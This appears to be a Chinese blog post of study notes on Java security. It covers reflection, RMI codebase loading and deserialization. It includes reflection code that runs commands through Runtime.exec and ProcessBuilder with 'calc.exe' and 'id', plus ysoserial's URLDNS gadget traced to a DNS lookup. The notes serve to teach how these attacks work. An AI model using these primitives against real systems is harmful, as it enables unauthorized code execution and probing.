首页 > 编程语言 >JAVA安全漫谈1-8笔记

JAVA安全漫谈1-8笔记

时间:2024-04-08 09:59:12浏览次数:28  
标签:调用 JAVA String 漫谈 笔记 clazz public class 构造函数

一.反射篇1

classloader就是java的类加载器,告诉虚拟机如何加载这个类。默认情况下根据类名来加载类,类名必须是完整路径

public class class_init {

    {
        System.out.println("123");
    }
    static {
        System.out.println("456");


    }
    public class_init(){
        System.out.println("789");

    }
    public static void main(String[] args){
        class_init n = new class_init();
    }
}

{}括号里的是初始化块,这里面的代码在创建java对象时执行,而且在构造器之前执行!其实初始化块就是构造器的补充,初始化快是不能接收任何参数的,定义的一些所有对象共有的属性、方法等内容时就可以用初始化块了初始化!好处是可以提高初始化块的复用,提高整个应用的可维护性。

 

public class class_init {

    {
        System.out.println("123");
    }
    static {
        System.out.println("456");


    }
    public class_init(){
        System.out.println("789");

    }
    public static void main(String[] args) throws ClassNotFoundException {
        class_init n = new class_init();
        Class a = Class.forName("a");
        System.out.println(a);
    }
}
class a{

    static{
        System.out.println("1111");
    }
    public a(){
        System.out.println("2222");
    }
}

 通过调用class.forname可以得到一个类类型的对象,其中就是得到了a类,此时将会自动初始化该类的对象,因此会调用static代码块的内容

public void ref(String name) throws Exception {   
 Class.forName(name);
 }

那么对于上面这段代码,如果入口参数String name可控的话,我们就可以反射任意类,那么如果此时类里的static代码块是恶意代码则会造成危害。

 二.反射篇二

Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");

通过以上的代码来反射执行id是不可以的,因为runtime类的构造函数是私有的,所以newInstance是不成功的,当然当一个类没有无参的构造函数时也不能够成功。

runtime类的构造函数设置为私有是因为该类的设计模式为单例模式,意思就是该类全局模式只能有一个实例,其余的只能通过该类的对象来调用其方法。

Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");

所以这里上面这段经常用的利用反射来执行命令的代码就很好理解了,首先通过forname来或取runtime类,然后调用getmethod来获取exec函数,但是exec函数有多个函数重载,因此要调用入口参数为string类型的构造函数,因此这里getmethod,第二个参数为String.class,然后调用invoke函数,invoke又需要类runtime的对象,而runtime类又是单例模式,因此通过getmethod传入getruntime同时调用invoke来返回runtime类的对象,这样一条链就很容易理解了。

Class clazz = Class.forName("java.lang.Runtime"); 
Method execMethod = clazz.getMethod("exec", String.class); 
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz); execMethod.invoke(runtime, "calc.exe");

 三.反射篇三

因为之前通过runtime类来执行命令我们已经知道其有getruntime静态方法来返回runtime类的对象,所以有个问题:

1.如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?

因为我们知道一般实例化一个类,可以用class.newInstance(),它的作用就是调用这个类的无参构造函数,所以不可用的时候要么该类的构造函数是私有的,要么该类就没有无参的构造函数。

所以新介绍了一个getconstructor()函数,这个函数的入口参数是构造函数的参数列表类型,因此通过其就可以调用该类的任意构造函数,并且获取到构造函数以后可以通过newinstance()函数来执行

因为processBuilder类有两个构造函数,因此通过getconstructor调用时入口参数类型也不同

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));


    }
}

入口为List类型,因此传入List.class,然后调用newInstance来执行,并且此时newInstance的入口参数即为传入的要执行的命令,此时为list类型的值为calc.exe

 另一种则是String类型的这里的...是可变参数,也就是说函数参数个数是可变的,java在编译的时候实际上会将其当做一个数组,所以这里传入newInstance的入口参数是一个二维数组

 因为newInstance函数的入口参数也是可变参数类型的,因此要用String[]{},又因为processbuilder的构造函数的入口参数也是可变参数类型,因此叠加一个数字,即为String[][]{{“calc.exe”}}

​
public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));


    }
}

​

 还有一个问题:

2.如果一个方法或构造方法是私有方法,我们是否能执行它呢?

getmethod是获取类中的公有方法以及从父类继承过来的方法

getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了

getDeclareMethod和getMethod的用法类似,getconstructor和getDeclareConstructor的用法类似,那么此时我们就可以用getDeclareConstructor来获取私有构造方法来实例化对象了

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
       Class clazz = Class.forName("java.lang.Runtime");
        Constructor m = clazz.getDeclareConstructor();
        m.setAccessible(true);
        clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe");
        

    }
}

 这里拿到构造函数以后还需要设置一下作用域才可以使用私有的构造函数,否则还是不可用。

 四.rmi篇4-6

1.这三篇主要读完只要记得rmi client和rmi registry 、 rmi server是如何通信的即可,服务器注册rmi服务,将对象与name绑定,客户端通过lookup在rmi registry中寻找要加载远程对象,然后再发起请求从rmi server上调用方法。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在 本地没有找到这个类,就会去远程加载codebase中的类。当然如果codebase被控制了,那么就可以自己起一个rmi服务器,使目标服务器加载恶意对象。

当然rmi服务器只有满足一下两个条件才能被攻击:

安装并配置了SecurityManager

Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false (设置为true以后就不能加载远程的codebase了)

五.反序列化篇7-8

1.java在序列化对象时,将会调用该对象的writeObject方法,参数类型是ObjectOutputStream,开发者可以将任何内容写入到该stream中,反序列化的时候,会调用readObject()方法,能够读取出写入的内容。而写入的值实际上是在objectAnnotation这个变量中

2.关于URLDNS的反序列化链

 打开ysoserial的源码找到payloads/URLDNS,里面就有对该payloads的描述,可以看到如上图所示的gadget,很简单,和刚入门就分析commom collections比的确少了很多很多。。。

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

其中注释里已经对该payload做了简单的解释,读一读也能大概明白构造的基本原理

首先ysoserial会调用URLDNS类的getObject方法来获取该payload,这个方法实际上返回的是一个对象,此时由代码中我们可以看到这个对象实际上是一个hashmap的对象。又因为反序列化会调用类的readobject函数,所以如果把hashmap作为要反序列化的对象,将会调用其readObject方法,因此此时我们跟进其看看

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        this.reinitialize();
        if (this.loadFactor > 0.0F && !Float.isNaN(this.loadFactor)) {
            s.readInt();
            int mappings = s.readInt();
            if (mappings < 0) {
                throw new InvalidObjectException("Illegal mappings count: " + mappings);
            } else {
                if (mappings > 0) {
                    float lf = Math.min(Math.max(0.25F, this.loadFactor), 4.0F);
                    float fc = (float)mappings / lf + 1.0F;
                    int cap = fc < 16.0F ? 16 : (fc >= 1.07374182E9F ? 1073741824 : tableSizeFor((int)fc));
                    float ft = (float)cap * lf;
                    this.threshold = cap < 1073741824 && ft < 1.07374182E9F ? (int)ft : 2147483647;
                    SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Entry[].class, cap);
                    HashMap.Node<K, V>[] tab = new HashMap.Node[cap];
                    this.table = tab;

                    for(int i = 0; i < mappings; ++i) {
                        K key = s.readObject();
                        V value = s.readObject();
                        this.putVal(hash(key), key, value, false, false);
                    }
                }

            }
        } else {
            throw new InvalidObjectException("Illegal load factor: " + this.loadFactor);
        }
    }

这里关注上面readObject函数中红色部分,这里调用putVal函数,其中对hashmap的键做了hash,这里关注hash的原因是payloads注释中说明了

During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

 所以这里实际上是会调用hashmap当前键的hashCode方法,所以如果我们传入URL类的对象,那么自然会调用URL类的hashCode,跟进去看看

 因为在payload中已经设置了hashcode=-1,所以此时调用this.handler的hashcode,跟进发现hanler是URLStreamHandler类的对象,其用关键字transient修饰,就是在序列化的过程中,该成员变量不参与

 继续跟进该类,

 这里将会调用getHostAddress函数,当然前面getProtocol只要其能够过就行,不需要管,跟进

 这里InetAddress.getByName实际上就是根据主机名获取器ip地址,说明到此时gadget已经执行完毕了,整条链很清晰~

标签:调用,JAVA,String,漫谈,笔记,clazz,public,class,构造函数
From: https://blog.csdn.net/wfz2333/article/details/137428410

相关文章

  • Java安全入门基础知识篇-01
    1.Intellij一些快捷键intell常用快捷键:ctrl+n快速查找定位类的位置ctrl+q快速查看某个类的文档信息shift+F6快速类、变量重命名ctrl+i在当前类实现接口的方法ctrl+o复写基类的方法ctrl+shift+空格推荐适用于当前函数的变量alt+insert快速设置类的方法ct......
  • 敏感词检测-DFA算法笔记及实现
    引子敏感词检测,这个是很多文字类服务都要遇到的问题,最近项目上接触到,特此调研梳理下这部分的内容。比如当我们输入一些包含暴力或者色情的文本,系统会阻止信息提交。敏感词过滤就是检查用户输入的内容有没有敏感词。OK,让我们开始吧。一、算法原理简介一般敏感词检测之后......
  • Java日志规范最佳实践
    一、日志介绍1.1日志是什么日志:记录程序的运行轨迹,方便查找关键信息,也方便快速定位解决问题。日志的作用就是在测试、生产环境没有Debug调试工具时开发和测试人员定位问题的手段。好的日志,可以根据日志的轨迹快速定位并解决线上问题,反之,不好的日志,不仅无法辅助定位问题反......
  • PHP与Java的区别分析
    一、语言特点php:一种的像Python的动态弱语言类型的服务器脚本语言,不需要编译代码;它是专为Web开发目的而开发和设计的,而且简单容易上手。Java:是一种通用的面向对象编程语言,属于强势优选语言类型,在执行前必须先正确编译。是面向对象的和人类可读的;支持服务器端和客户端;可用于......
  • 【附源码】java毕业设计实验室管理系统
    本系统(程序+源码)带文档lw万字以上 文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:在当前的教育与科研环境中,实验室不仅是学术研究、科技创新的重要基地,也是培养学生实践能力和科学素养的关键场所。随着科学技术的不断进步和实验项目的日......
  • 【附源码】java毕业设计室内设计类网站
    本系统(程序+源码)带文档lw万字以上 文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:在当今社会,室内设计不仅仅是一种职业或技能,它已经融入了人们的日常生活,成为提升居住和工作环境品质的重要方式。随着经济的发展和人们审美水平的提高,对室......
  • C++学习笔记九--模版
    目录前言1.函数模版1.函数模版的概念和定义2.函数模版的实例化2.类模版1.类模版的概念和定义2.类模版的实例化3.示例代码前言        这篇文章介绍下C++中的模版,包括函数模版和类模版。1.函数模版    在编程的过程中,编写函数都会考虑将其写......
  • 协同过滤笔记
    笔记记录一下学习工作中遇到的一些知识,以防遗忘,不清楚的可以回来再看。一些专有名词embedding:隐向量非常重要无处不在召回:粗略计算要返回结果,例如从100W商品中取比较可能的100个负采样负采样(NegativeSampling)是一种用于训练词嵌入模型的技术。在自然语言处理中,词嵌入......
  • Python基础笔记01-Python基础
    Python基础-day1!!!注意:本系列所写的文章全部是学习笔记,来自于观看视频的笔记记录,防止丢失。观看的视频笔记来自于:哔哩哔哩武沛齐老师的视频:2022Python的web开发(完整版)入门全套教程,零基础入门到项目实战1.文档工具typora2.环境搭建安装Python解释器学习Python语法Python......
  • 狂神说Java Web学习笔记_HTTP
    HTTP详解HTTP超文本传输协议(HyperTextTransferProtocol,HTTP)是一个简单的请求-响应协议,它通常运行在TCP之上。文本:html,字符串….超文本:图片,音乐,视频,定位,地图…….默认端口:80HTTPSHTTPS(全称:HyperTextTransferProtocoloverSecureSocketLayer),是以安全为目标的HTTP......